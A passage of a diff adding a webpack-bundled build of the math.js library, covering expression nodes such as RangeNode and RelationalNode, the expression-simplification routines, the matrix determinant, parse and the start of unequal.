Node)} callback + */ + + + RangeNode.prototype.forEach = function (callback) { + callback(this.start, 'start', this); + callback(this.end, 'end', this); + + if (this.step) { + callback(this.step, 'step', this); + } + }; + /** + * Create a new RangeNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {RangeNode} Returns a transformed copy of the node + */ + + + RangeNode.prototype.map = function (callback) { + return new RangeNode(this._ifNode(callback(this.start, 'start', this)), this._ifNode(callback(this.end, 'end', this)), this.step && this._ifNode(callback(this.step, 'step', this))); + }; + /** + * Create a clone of this node, a shallow copy + * @return {RangeNode} + */ + + + RangeNode.prototype.clone = function () { + return new RangeNode(this.start, this.end, this.step && this.step); + }; + /** + * Calculate the necessary parentheses + * @param {Node} node + * @param {string} parenthesis + * @return {Object} parentheses + * @private + */ + + + function calculateNecessaryParentheses(node, parenthesis) { + var precedence = operators.getPrecedence(node, parenthesis); + var parens = {}; + var startPrecedence = operators.getPrecedence(node.start, parenthesis); + parens.start = startPrecedence !== null && startPrecedence <= precedence || parenthesis === 'all'; + + if (node.step) { + var stepPrecedence = operators.getPrecedence(node.step, parenthesis); + parens.step = stepPrecedence !== null && stepPrecedence <= precedence || parenthesis === 'all'; + } + + var endPrecedence = operators.getPrecedence(node.end, parenthesis); + parens.end = endPrecedence !== null && endPrecedence <= precedence || parenthesis === 'all'; + return parens; + } + /** + * Get string representation + * @param {Object} options + * @return {string} str + */ + + + RangeNode.prototype._toString = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var parens = calculateNecessaryParentheses(this, parenthesis); // format string as start:step:stop + + var str; + var start = this.start.toString(options); + + if (parens.start) { + start = '(' + start + ')'; + } + + str = start; + + if (this.step) { + var step = this.step.toString(options); + + if (parens.step) { + step = '(' + step + ')'; + } + + str += ':' + step; + } + + var end = this.end.toString(options); + + if (parens.end) { + end = '(' + end + ')'; + } + + str += ':' + end; + return str; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + RangeNode.prototype.toJSON = function () { + return { + mathjs: 'RangeNode', + start: this.start, + end: this.end, + step: this.step + }; + }; + /** + * Instantiate an RangeNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "RangeNode", "start": ..., "end": ..., "step": ...}`, + * where mathjs is optional + * @returns {RangeNode} + */ + + + RangeNode.fromJSON = function (json) { + return new RangeNode(json.start, json.end, json.step); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + */ + + + RangeNode.prototype.toHTML = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var parens = calculateNecessaryParentheses(this, parenthesis); // format string as start:step:stop + + var str; + var start = this.start.toHTML(options); + + if (parens.start) { + start = '(' + start + ')'; + } + + str = start; + + if (this.step) { + var step = this.step.toHTML(options); + + if (parens.step) { + step = '(' + step + ')'; + } + + str += ':' + step; + } + + var end = this.end.toHTML(options); + + if (parens.end) { + end = '(' + end + ')'; + } + + str += ':' + end; + return str; + }; + /** + * Get LaTeX representation + * @params {Object} options + * @return {string} str + */ + + + RangeNode.prototype._toTex = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var parens = calculateNecessaryParentheses(this, parenthesis); + var str = this.start.toTex(options); + + if (parens.start) { + str = "\\left(".concat(str, "\\right)"); + } + + if (this.step) { + var step = this.step.toTex(options); + + if (parens.step) { + step = "\\left(".concat(step, "\\right)"); + } + + str += ':' + step; + } + + var end = this.end.toTex(options); + + if (parens.end) { + end = "\\left(".concat(end, "\\right)"); + } + + str += ':' + end; + return str; + }; + + return RangeNode; +} + +exports.name = 'RangeNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 124 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var operators = __webpack_require__(53); + +var latex = __webpack_require__(4); + +var escape = __webpack_require__(9).escape; + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + + var getSafeProperty = __webpack_require__(13).getSafeProperty; + /** + * A node representing a chained conditional expression, such as 'x > y > z' + * + * @param {String[]} conditionals An array of conditional operators used to compare the parameters + * @param {Node[]} params The parameters that will be compared + * + * @constructor RelationalNode + * @extends {Node} + */ + + + function RelationalNode(conditionals, params) { + if (!(this instanceof RelationalNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (!Array.isArray(conditionals)) throw new TypeError('Parameter conditionals must be an array'); + if (!Array.isArray(params)) throw new TypeError('Parameter params must be an array'); + if (conditionals.length !== params.length - 1) throw new TypeError('Parameter params must contain exactly one more element than parameter conditionals'); + this.conditionals = conditionals; + this.params = params; + } + + RelationalNode.prototype = new Node(); + RelationalNode.prototype.type = 'RelationalNode'; + RelationalNode.prototype.isRelationalNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + RelationalNode.prototype._compile = function (math, argNames) { + var self = this; + var compiled = this.params.map(function (p) { + return p._compile(math, argNames); + }); + return function evalRelationalNode(scope, args, context) { + var evalLhs; + var evalRhs = compiled[0](scope, args, context); + + for (var i = 0; i < self.conditionals.length; i++) { + evalLhs = evalRhs; + evalRhs = compiled[i + 1](scope, args, context); + var condFn = getSafeProperty(math, self.conditionals[i]); + + if (!condFn(evalLhs, evalRhs)) { + return false; + } + } + + return true; + }; + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + RelationalNode.prototype.forEach = function (callback) { + var _this = this; + + this.params.forEach(function (n, i) { + return callback(n, 'params[' + i + ']', _this); + }, this); + }; + /** + * Create a new RelationalNode having its childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {RelationalNode} Returns a transformed copy of the node + */ + + + RelationalNode.prototype.map = function (callback) { + var _this2 = this; + + return new RelationalNode(this.conditionals.slice(), this.params.map(function (n, i) { + return _this2._ifNode(callback(n, 'params[' + i + ']', _this2)); + }, this)); + }; + /** + * Create a clone of this node, a shallow copy + * @return {RelationalNode} + */ + + + RelationalNode.prototype.clone = function () { + return new RelationalNode(this.conditionals, this.params); + }; + /** + * Get string representation. + * @param {Object} options + * @return {string} str + */ + + + RelationalNode.prototype._toString = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var precedence = operators.getPrecedence(this, parenthesis); + var paramStrings = this.params.map(function (p, index) { + var paramPrecedence = operators.getPrecedence(p, parenthesis); + return parenthesis === 'all' || paramPrecedence !== null && paramPrecedence <= precedence ? '(' + p.toString(options) + ')' : p.toString(options); + }); + var operatorMap = { + 'equal': '==', + 'unequal': '!=', + 'smaller': '<', + 'larger': '>', + 'smallerEq': '<=', + 'largerEq': '>=' + }; + var ret = paramStrings[0]; + + for (var i = 0; i < this.conditionals.length; i++) { + ret += ' ' + operatorMap[this.conditionals[i]] + ' ' + paramStrings[i + 1]; + } + + return ret; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + RelationalNode.prototype.toJSON = function () { + return { + mathjs: 'RelationalNode', + conditionals: this.conditionals, + params: this.params + }; + }; + /** + * Instantiate a RelationalNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "RelationalNode", "condition": ..., "trueExpr": ..., "falseExpr": ...}`, + * where mathjs is optional + * @returns {RelationalNode} + */ + + + RelationalNode.fromJSON = function (json) { + return new RelationalNode(json.conditionals, json.params); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + */ + + + RelationalNode.prototype.toHTML = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var precedence = operators.getPrecedence(this, parenthesis); + var paramStrings = this.params.map(function (p, index) { + var paramPrecedence = operators.getPrecedence(p, parenthesis); + return parenthesis === 'all' || paramPrecedence !== null && paramPrecedence <= precedence ? '(' + p.toHTML(options) + ')' : p.toHTML(options); + }); + var operatorMap = { + 'equal': '==', + 'unequal': '!=', + 'smaller': '<', + 'larger': '>', + 'smallerEq': '<=', + 'largerEq': '>=' + }; + var ret = paramStrings[0]; + + for (var i = 0; i < this.conditionals.length; i++) { + ret += '' + escape(operatorMap[this.conditionals[i]]) + '' + paramStrings[i + 1]; + } + + return ret; + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + RelationalNode.prototype._toTex = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var precedence = operators.getPrecedence(this, parenthesis); + var paramStrings = this.params.map(function (p, index) { + var paramPrecedence = operators.getPrecedence(p, parenthesis); + return parenthesis === 'all' || paramPrecedence !== null && paramPrecedence <= precedence ? '\\left(' + p.toTex(options) + '\right)' : p.toTex(options); + }); + var ret = paramStrings[0]; + + for (var i = 0; i < this.conditionals.length; i++) { + ret += latex.operators[this.conditionals[i]] + paramStrings[i + 1]; + } + + return ret; + }; + + return RelationalNode; +} + +exports.name = 'RelationalNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 125 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + // TODO this could be improved by simplifying seperated constants under associative and commutative operators + +function factory(type, config, load, typed, math) { + var util = load(__webpack_require__(126)); + var isCommutative = util.isCommutative; + var isAssociative = util.isAssociative; + var allChildren = util.allChildren; + var createMakeNodeFunction = util.createMakeNodeFunction; + var ConstantNode = math.expression.node.ConstantNode; + var OperatorNode = math.expression.node.OperatorNode; + var FunctionNode = math.expression.node.FunctionNode; + + function simplifyConstant(expr, options) { + var res = foldFraction(expr, options); + return type.isNode(res) ? res : _toNode(res); + } + + function _eval(fnname, args, options) { + try { + return _toNumber(math[fnname].apply(null, args), options); + } catch (ignore) { + // sometimes the implicit type conversion causes the evaluation to fail, so we'll try again after removing Fractions + args = args.map(function (x) { + if (type.isFraction(x)) { + return x.valueOf(); + } + + return x; + }); + return _toNumber(math[fnname].apply(null, args), options); + } + } + + var _toNode = typed({ + 'Fraction': _fractionToNode, + 'number': function number(n) { + if (n < 0) { + return unaryMinusNode(new ConstantNode(-n)); + } + + return new ConstantNode(n); + }, + 'BigNumber': function BigNumber(n) { + if (n < 0) { + return unaryMinusNode(new ConstantNode(-n)); + } + + return new ConstantNode(n); // old parameters: (n.toString(), 'number') + }, + 'Complex': function Complex(s) { + throw new Error('Cannot convert Complex number to Node'); + } + }); // convert a number to a fraction only if it can be expressed exactly + + + function _exactFraction(n, options) { + var exactFractions = options && options.exactFractions !== false; + + if (exactFractions && isFinite(n)) { + var f = math.fraction(n); + + if (f.valueOf() === n) { + return f; + } + } + + return n; + } // Convert numbers to a preferred number type in preference order: Fraction, number, Complex + // BigNumbers are left alone + + + var _toNumber = typed({ + 'string, Object': function stringObject(s, options) { + if (config.number === 'BigNumber') { + return math.bignumber(s); + } else if (config.number === 'Fraction') { + return math.fraction(s); + } else { + var n = parseFloat(s); + return _exactFraction(n, options); + } + }, + 'Fraction, Object': function FractionObject(s, options) { + return s; + }, + // we don't need options here + 'BigNumber, Object': function BigNumberObject(s, options) { + return s; + }, + // we don't need options here + 'number, Object': function numberObject(s, options) { + return _exactFraction(s, options); + }, + 'Complex, Object': function ComplexObject(s, options) { + if (s.im !== 0) { + return s; + } + + return _exactFraction(s.re, options); + } + }); + + function unaryMinusNode(n) { + return new OperatorNode('-', 'unaryMinus', [n]); + } + + function _fractionToNode(f) { + var n; + var vn = f.s * f.n; + + if (vn < 0) { + n = new OperatorNode('-', 'unaryMinus', [new ConstantNode(-vn)]); + } else { + n = new ConstantNode(vn); + } + + if (f.d === 1) { + return n; + } + + return new OperatorNode('/', 'divide', [n, new ConstantNode(f.d)]); + } + /* + * Create a binary tree from a list of Fractions and Nodes. + * Tries to fold Fractions by evaluating them until the first Node in the list is hit, so + * `args` should be sorted to have the Fractions at the start (if the operator is commutative). + * @param args - list of Fractions and Nodes + * @param fn - evaluator for the binary operation evaluator that accepts two Fractions + * @param makeNode - creates a binary OperatorNode/FunctionNode from a list of child Nodes + * if args.length is 1, returns args[0] + * @return - Either a Node representing a binary expression or Fraction + */ + + + function foldOp(fn, args, makeNode, options) { + return args.reduce(function (a, b) { + if (!type.isNode(a) && !type.isNode(b)) { + try { + return _eval(fn, [a, b], options); + } catch (ignoreandcontinue) {} + + a = _toNode(a); + b = _toNode(b); + } else if (!type.isNode(a)) { + a = _toNode(a); + } else if (!type.isNode(b)) { + b = _toNode(b); + } + + return makeNode([a, b]); + }); + } // destroys the original node and returns a folded one + + + function foldFraction(node, options) { + switch (node.type) { + case 'SymbolNode': + return node; + + case 'ConstantNode': + if (typeof node.value === 'number' || !isNaN(node.value)) { + return _toNumber(node.value, options); + } + + return node; + + case 'FunctionNode': + if (math[node.name] && math[node.name].rawArgs) { + return node; + } // Process operators as OperatorNode + + + var operatorFunctions = ['add', 'multiply']; + + if (operatorFunctions.indexOf(node.name) === -1) { + var _args = node.args.map(function (arg) { + return foldFraction(arg, options); + }); // If all args are numbers + + + if (!_args.some(type.isNode)) { + try { + return _eval(node.name, _args, options); + } catch (ignoreandcontine) {} + } // Convert all args to nodes and construct a symbolic function call + + + _args = _args.map(function (arg) { + return type.isNode(arg) ? arg : _toNode(arg); + }); + return new FunctionNode(node.name, _args); + } else {} // treat as operator + + /* falls through */ + + + case 'OperatorNode': + var fn = node.fn.toString(); + var args; + var res; + var makeNode = createMakeNodeFunction(node); + + if (node.isUnary()) { + args = [foldFraction(node.args[0], options)]; + + if (!type.isNode(args[0])) { + res = _eval(fn, args, options); + } else { + res = makeNode(args); + } + } else if (isAssociative(node)) { + args = allChildren(node); + args = args.map(function (arg) { + return foldFraction(arg, options); + }); + + if (isCommutative(fn)) { + // commutative binary operator + var consts = []; + var vars = []; + + for (var i = 0; i < args.length; i++) { + if (!type.isNode(args[i])) { + consts.push(args[i]); + } else { + vars.push(args[i]); + } + } + + if (consts.length > 1) { + res = foldOp(fn, consts, makeNode, options); + vars.unshift(res); + res = foldOp(fn, vars, makeNode, options); + } else { + // we won't change the children order since it's not neccessary + res = foldOp(fn, args, makeNode, options); + } + } else { + // non-commutative binary operator + res = foldOp(fn, args, makeNode, options); + } + } else { + // non-associative binary operator + args = node.args.map(function (arg) { + return foldFraction(arg, options); + }); + res = foldOp(fn, args, makeNode, options); + } + + return res; + + case 'ParenthesisNode': + // remove the uneccessary parenthesis + return foldFraction(node.content, options); + + case 'AccessorNode': + /* falls through */ + + case 'ArrayNode': + /* falls through */ + + case 'AssignmentNode': + /* falls through */ + + case 'BlockNode': + /* falls through */ + + case 'FunctionAssignmentNode': + /* falls through */ + + case 'IndexNode': + /* falls through */ + + case 'ObjectNode': + /* falls through */ + + case 'RangeNode': + /* falls through */ + + case 'UpdateNode': + /* falls through */ + + case 'ConditionalNode': + /* falls through */ + + default: + throw new Error("Unimplemented node type in simplifyConstant: ".concat(node.type)); + } + } + + return simplifyConstant; +} + +exports.math = true; +exports.name = 'simplifyConstant'; +exports.path = 'algebra.simplify'; +exports.factory = factory; + +/***/ }), +/* 126 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed, math) { + var FunctionNode = math.expression.node.FunctionNode; + var OperatorNode = math.expression.node.OperatorNode; + var SymbolNode = math.expression.node.SymbolNode; // TODO commutative/associative properties rely on the arguments + // e.g. multiply is not commutative for matrices + // The properties should be calculated from an argument to simplify, or possibly something in math.config + // the other option is for typed() to specify a return type so that we can evaluate the type of arguments + + var commutative = { + 'add': true, + 'multiply': true + }; + var associative = { + 'add': true, + 'multiply': true + }; + + function isCommutative(node, context) { + if (!type.isOperatorNode(node)) { + return true; + } + + var name = node.fn.toString(); + + if (context && context.hasOwnProperty(name) && context[name].hasOwnProperty('commutative')) { + return context[name].commutative; + } + + return commutative[name] || false; + } + + function isAssociative(node, context) { + if (!type.isOperatorNode(node)) { + return false; + } + + var name = node.fn.toString(); + + if (context && context.hasOwnProperty(name) && context[name].hasOwnProperty('associative')) { + return context[name].associative; + } + + return associative[name] || false; + } + /** + * Flatten all associative operators in an expression tree. + * Assumes parentheses have already been removed. + */ + + + function flatten(node) { + if (!node.args || node.args.length === 0) { + return node; + } + + node.args = allChildren(node); + + for (var i = 0; i < node.args.length; i++) { + flatten(node.args[i]); + } + } + /** + * Get the children of a node as if it has been flattened. + * TODO implement for FunctionNodes + */ + + + function allChildren(node) { + var op; + var children = []; + + var findChildren = function findChildren(node) { + for (var i = 0; i < node.args.length; i++) { + var child = node.args[i]; + + if (type.isOperatorNode(child) && op === child.op) { + findChildren(child); + } else { + children.push(child); + } + } + }; + + if (isAssociative(node)) { + op = node.op; + findChildren(node); + return children; + } else { + return node.args; + } + } + /** + * Unflatten all flattened operators to a right-heavy binary tree. + */ + + + function unflattenr(node) { + if (!node.args || node.args.length === 0) { + return; + } + + var makeNode = createMakeNodeFunction(node); + var l = node.args.length; + + for (var i = 0; i < l; i++) { + unflattenr(node.args[i]); + } + + if (l > 2 && isAssociative(node)) { + var curnode = node.args.pop(); + + while (node.args.length > 0) { + curnode = makeNode([node.args.pop(), curnode]); + } + + node.args = curnode.args; + } + } + /** + * Unflatten all flattened operators to a left-heavy binary tree. + */ + + + function unflattenl(node) { + if (!node.args || node.args.length === 0) { + return; + } + + var makeNode = createMakeNodeFunction(node); + var l = node.args.length; + + for (var i = 0; i < l; i++) { + unflattenl(node.args[i]); + } + + if (l > 2 && isAssociative(node)) { + var curnode = node.args.shift(); + + while (node.args.length > 0) { + curnode = makeNode([curnode, node.args.shift()]); + } + + node.args = curnode.args; + } + } + + function createMakeNodeFunction(node) { + if (type.isOperatorNode(node)) { + return function (args) { + try { + return new OperatorNode(node.op, node.fn, args, node.implicit); + } catch (err) { + console.error(err); + return []; + } + }; + } else { + return function (args) { + return new FunctionNode(new SymbolNode(node.name), args); + }; + } + } + + return { + createMakeNodeFunction: createMakeNodeFunction, + isCommutative: isCommutative, + isAssociative: isAssociative, + flatten: flatten, + allChildren: allChildren, + unflattenr: unflattenr, + unflattenl: unflattenl + }; +} + +exports.factory = factory; +exports.math = true; + +/***/ }), +/* 127 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed, math) { + var equal = load(__webpack_require__(51)); + var isZero = load(__webpack_require__(60)); + var add = load(__webpack_require__(14)); + var subtract = load(__webpack_require__(15)); + var multiply = load(__webpack_require__(10)); + var divide = load(__webpack_require__(45)); + var pow = load(__webpack_require__(42)); + var ConstantNode = math.expression.node.ConstantNode; + var OperatorNode = math.expression.node.OperatorNode; + var FunctionNode = math.expression.node.FunctionNode; + var ParenthesisNode = math.expression.node.ParenthesisNode; + var node0 = new ConstantNode(0); + var node1 = new ConstantNode(1); + /** + * simplifyCore() performs single pass simplification suitable for + * applications requiring ultimate performance. In contrast, simplify() + * extends simplifyCore() with additional passes to provide deeper + * simplification. + * + * Syntax: + * + * simplify.simplifyCore(expr) + * + * Examples: + * + * const f = math.parse('2 * 1 * x ^ (2 - 1)') + * math.simplify.simpifyCore(f) // Node {2 * x} + * math.simplify('2 * 1 * x ^ (2 - 1)', [math.simplify.simpifyCore]) // Node {2 * x} + * + * See also: + * + * derivative + * + * @param {Node} node + * The expression to be simplified + */ + + function simplifyCore(node) { + if (type.isOperatorNode(node) && node.isUnary()) { + var a0 = simplifyCore(node.args[0]); + + if (node.op === '+') { + // unary plus + return a0; + } + + if (node.op === '-') { + // unary minus + if (type.isOperatorNode(a0)) { + if (a0.isUnary() && a0.op === '-') { + return a0.args[0]; + } else if (a0.isBinary() && a0.fn === 'subtract') { + return new OperatorNode('-', 'subtract', [a0.args[1], a0.args[0]]); + } + } + + return new OperatorNode(node.op, node.fn, [a0]); + } + } else if (type.isOperatorNode(node) && node.isBinary()) { + var _a = simplifyCore(node.args[0]); + + var a1 = simplifyCore(node.args[1]); + + if (node.op === '+') { + if (type.isConstantNode(_a)) { + if (isZero(_a.value)) { + return a1; + } else if (type.isConstantNode(a1)) { + return new ConstantNode(add(_a.value, a1.value)); + } + } + + if (type.isConstantNode(a1) && isZero(a1.value)) { + return _a; + } + + if (type.isOperatorNode(a1) && a1.isUnary() && a1.op === '-') { + return new OperatorNode('-', 'subtract', [_a, a1.args[0]]); + } + + return new OperatorNode(node.op, node.fn, a1 ? [_a, a1] : [_a]); + } else if (node.op === '-') { + if (type.isConstantNode(_a) && a1) { + if (type.isConstantNode(a1)) { + return new ConstantNode(subtract(_a.value, a1.value)); + } else if (isZero(_a.value)) { + return new OperatorNode('-', 'unaryMinus', [a1]); + } + } // if (node.fn === "subtract" && node.args.length === 2) { + + + if (node.fn === 'subtract') { + if (type.isConstantNode(a1) && isZero(a1.value)) { + return _a; + } + + if (type.isOperatorNode(a1) && a1.isUnary() && a1.op === '-') { + return simplifyCore(new OperatorNode('+', 'add', [_a, a1.args[0]])); + } + + return new OperatorNode(node.op, node.fn, [_a, a1]); + } + } else if (node.op === '*') { + if (type.isConstantNode(_a)) { + if (isZero(_a.value)) { + return node0; + } else if (equal(_a.value, 1)) { + return a1; + } else if (type.isConstantNode(a1)) { + return new ConstantNode(multiply(_a.value, a1.value)); + } + } + + if (type.isConstantNode(a1)) { + if (isZero(a1.value)) { + return node0; + } else if (equal(a1.value, 1)) { + return _a; + } else if (type.isOperatorNode(_a) && _a.isBinary() && _a.op === node.op) { + var a00 = _a.args[0]; + + if (type.isConstantNode(a00)) { + var a00a1 = new ConstantNode(multiply(a00.value, a1.value)); + return new OperatorNode(node.op, node.fn, [a00a1, _a.args[1]], node.implicit); // constants on left + } + } + + return new OperatorNode(node.op, node.fn, [a1, _a], node.implicit); // constants on left + } + + return new OperatorNode(node.op, node.fn, [_a, a1], node.implicit); + } else if (node.op === '/') { + if (type.isConstantNode(_a)) { + if (isZero(_a.value)) { + return node0; + } else if (type.isConstantNode(a1) && (equal(a1.value, 1) || equal(a1.value, 2) || equal(a1.value, 4))) { + return new ConstantNode(divide(_a.value, a1.value)); + } + } + + return new OperatorNode(node.op, node.fn, [_a, a1]); + } else if (node.op === '^') { + if (type.isConstantNode(a1)) { + if (isZero(a1.value)) { + return node1; + } else if (equal(a1.value, 1)) { + return _a; + } else { + if (type.isConstantNode(_a)) { + // fold constant + return new ConstantNode(pow(_a.value, a1.value)); + } else if (type.isOperatorNode(_a) && _a.isBinary() && _a.op === '^') { + var a01 = _a.args[1]; + + if (type.isConstantNode(a01)) { + return new OperatorNode(node.op, node.fn, [_a.args[0], new ConstantNode(multiply(a01.value, a1.value))]); + } + } + } + } + + return new OperatorNode(node.op, node.fn, [_a, a1]); + } + } else if (type.isParenthesisNode(node)) { + var c = simplifyCore(node.content); + + if (type.isParenthesisNode(c) || type.isSymbolNode(c) || type.isConstantNode(c)) { + return c; + } + + return new ParenthesisNode(c); + } else if (type.isFunctionNode(node)) { + var args = node.args.map(simplifyCore).map(function (arg) { + return type.isParenthesisNode(arg) ? arg.content : arg; + }); + return new FunctionNode(simplifyCore(node.fn), args); + } else {// cannot simplify + } + + return node; + } + + return simplifyCore; +} + +exports.math = true; +exports.name = 'simplifyCore'; +exports.path = 'algebra.simplify'; +exports.factory = factory; + +/***/ }), +/* 128 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var util = __webpack_require__(31); + +var object = util.object; +var string = util.string; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var subtract = load(__webpack_require__(15)); + var multiply = load(__webpack_require__(10)); + var unaryMinus = load(__webpack_require__(39)); + var lup = load(__webpack_require__(87)); + /** + * Calculate the determinant of a matrix. + * + * Syntax: + * + * math.det(x) + * + * Examples: + * + * math.det([[1, 2], [3, 4]]) // returns -2 + * + * const A = [ + * [-2, 2, 3], + * [-1, 1, 3], + * [2, 0, -1] + * ] + * math.det(A) // returns 6 + * + * See also: + * + * inv + * + * @param {Array | Matrix} x A matrix + * @return {number} The determinant of `x` + */ + + var det = typed('det', { + 'any': function any(x) { + return object.clone(x); + }, + 'Array | Matrix': function det(x) { + var size; + + if (type.isMatrix(x)) { + size = x.size(); + } else if (Array.isArray(x)) { + x = matrix(x); + size = x.size(); + } else { + // a scalar + size = []; + } + + switch (size.length) { + case 0: + // scalar + return object.clone(x); + + case 1: + // vector + if (size[0] === 1) { + return object.clone(x.valueOf()[0]); + } else { + throw new RangeError('Matrix must be square ' + '(size: ' + string.format(size) + ')'); + } + + case 2: + // two dimensional array + var rows = size[0]; + var cols = size[1]; + + if (rows === cols) { + return _det(x.clone().valueOf(), rows, cols); + } else { + throw new RangeError('Matrix must be square ' + '(size: ' + string.format(size) + ')'); + } + + default: + // multi dimensional array + throw new RangeError('Matrix must be two dimensional ' + '(size: ' + string.format(size) + ')'); + } + } + }); + det.toTex = { + 1: "\\det\\left(${args[0]}\\right)" + }; + return det; + /** + * Calculate the determinant of a matrix + * @param {Array[]} matrix A square, two dimensional matrix + * @param {number} rows Number of rows of the matrix (zero-based) + * @param {number} cols Number of columns of the matrix (zero-based) + * @returns {number} det + * @private + */ + + function _det(matrix, rows, cols) { + if (rows === 1) { + // this is a 1 x 1 matrix + return object.clone(matrix[0][0]); + } else if (rows === 2) { + // this is a 2 x 2 matrix + // the determinant of [a11,a12;a21,a22] is det = a11*a22-a21*a12 + return subtract(multiply(matrix[0][0], matrix[1][1]), multiply(matrix[1][0], matrix[0][1])); + } else { + // Compute the LU decomposition + var decomp = lup(matrix); // The determinant is the product of the diagonal entries of U (and those of L, but they are all 1) + + var _det2 = decomp.U[0][0]; + + for (var _i = 1; _i < rows; _i++) { + _det2 = multiply(_det2, decomp.U[_i][_i]); + } // The determinant will be multiplied by 1 or -1 depending on the parity of the permutation matrix. + // This can be determined by counting the cycles. This is roughly a linear time algorithm. + + + var evenCycles = 0; + var i = 0; + var visited = []; + + while (true) { + while (visited[i]) { + i++; + } + + if (i >= rows) break; + var j = i; + var cycleLen = 0; + + while (!visited[decomp.p[j]]) { + visited[decomp.p[j]] = true; + j = decomp.p[j]; + cycleLen++; + } + + if (cycleLen % 2 === 0) { + evenCycles++; + } + } + + return evenCycles % 2 === 0 ? _det2 : unaryMinus(_det2); + } + } +} + +exports.name = 'det'; +exports.factory = factory; + +/***/ }), +/* 129 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var parse = load(__webpack_require__(44)); + /** + * Parse an expression. Returns a node tree, which can be evaluated by + * invoking node.eval(). + * + * Note the evaluating arbitrary expressions may involve security risks, + * see [https://mathjs.org/docs/expressions/security.html](https://mathjs.org/docs/expressions/security.html) for more information. + * + * Syntax: + * + * math.parse(expr) + * math.parse(expr, options) + * math.parse([expr1, expr2, expr3, ...]) + * math.parse([expr1, expr2, expr3, ...], options) + * + * Example: + * + * const node1 = math.parse('sqrt(3^2 + 4^2)') + * node1.compile().eval() // 5 + * + * let scope = {a:3, b:4} + * const node2 = math.parse('a * b') // 12 + * const code2 = node2.compile() + * code2.eval(scope) // 12 + * scope.a = 5 + * code2.eval(scope) // 20 + * + * const nodes = math.parse(['a = 3', 'b = 4', 'a * b']) + * nodes[2].compile().eval() // 12 + * + * See also: + * + * eval, compile + * + * @param {string | string[] | Matrix} expr Expression to be parsed + * @param {{nodes: Object}} [options] Available options: + * - `nodes` a set of custom nodes + * @return {Node | Node[]} node + * @throws {Error} + */ + + return typed('parse', { + 'string | Array | Matrix': parse, + 'string | Array | Matrix, Object': parse + }); +} + +exports.name = 'parse'; +exports.factory = factory; + +/***/ }), +/* 130 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var nearlyEqual = __webpack_require__(3).nearlyEqual; + +var bigNearlyEqual = __webpack_require__(32); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + + var latex = __webpack_require__(4); + /** + * Test whether two values are unequal. + * + * The function tests whether the relative difference between x and y is + * larger than the configured epsilon. The function cannot be used to compare + * values smaller than approximately 2.22e-16. + * + * For matrices, the function is evaluated element wise. + * In case of complex numbers, x.re must unequal y.re, or x.im must unequal y.im. + * Strings are compared by their numerical value. + * + * Values `null` and `undefined` are compared strictly, thus `null` is unequal + * with everything except `null`, and `undefined` is unequal with everything + * except `undefined`. + * + * Syntax: + * + * math.unequal(x, y) + * + * Examples: + * + * math.unequal(2 + 2, 3) // returns true + * math.unequal(2 + 2, 4) // returns false + * + * const a = math.unit('50 cm') + * const b = math.unit('5 m') + * math.unequal(a, b) // returns false + * + * const c = [2, 5, 1] + * const d = [2, 7, 1] + * + * math.unequal(c, d) // returns [false, true, false] + * math.deepEqual(c, d) // returns false + * + * math.unequal(0, null) // returns true + * See also: + * + * equal, deepEqual, smaller, smallerEq, larger, largerEq, compare + * + * @param {number | BigNumber | Fraction | boolean | Complex | Unit | string | Array | Matrix | undefined} x First value to compare + * @param {number | BigNumber | Fraction | boolean | Complex | Unit | string | Array | Matrix | undefined} y Second value to compare + * @return {boolean | Array | Matrix} Returns true when the compared values are unequal, else returns false + */ + + + var unequal = typed('unequal', { + 'any, any': function anyAny(x, y) { + // strict equality for null and undefined? + if (x === null) { + return y !== null; + } + + if (y === null) { + return x !== null; + } + + if (x === undefined) { + return y !== undefined; + } + + if (y === undefined) { + return x !== undefined; + } + + return _unequal(x, y); + }, + 'SparseMatrix, SparseMatrix': function 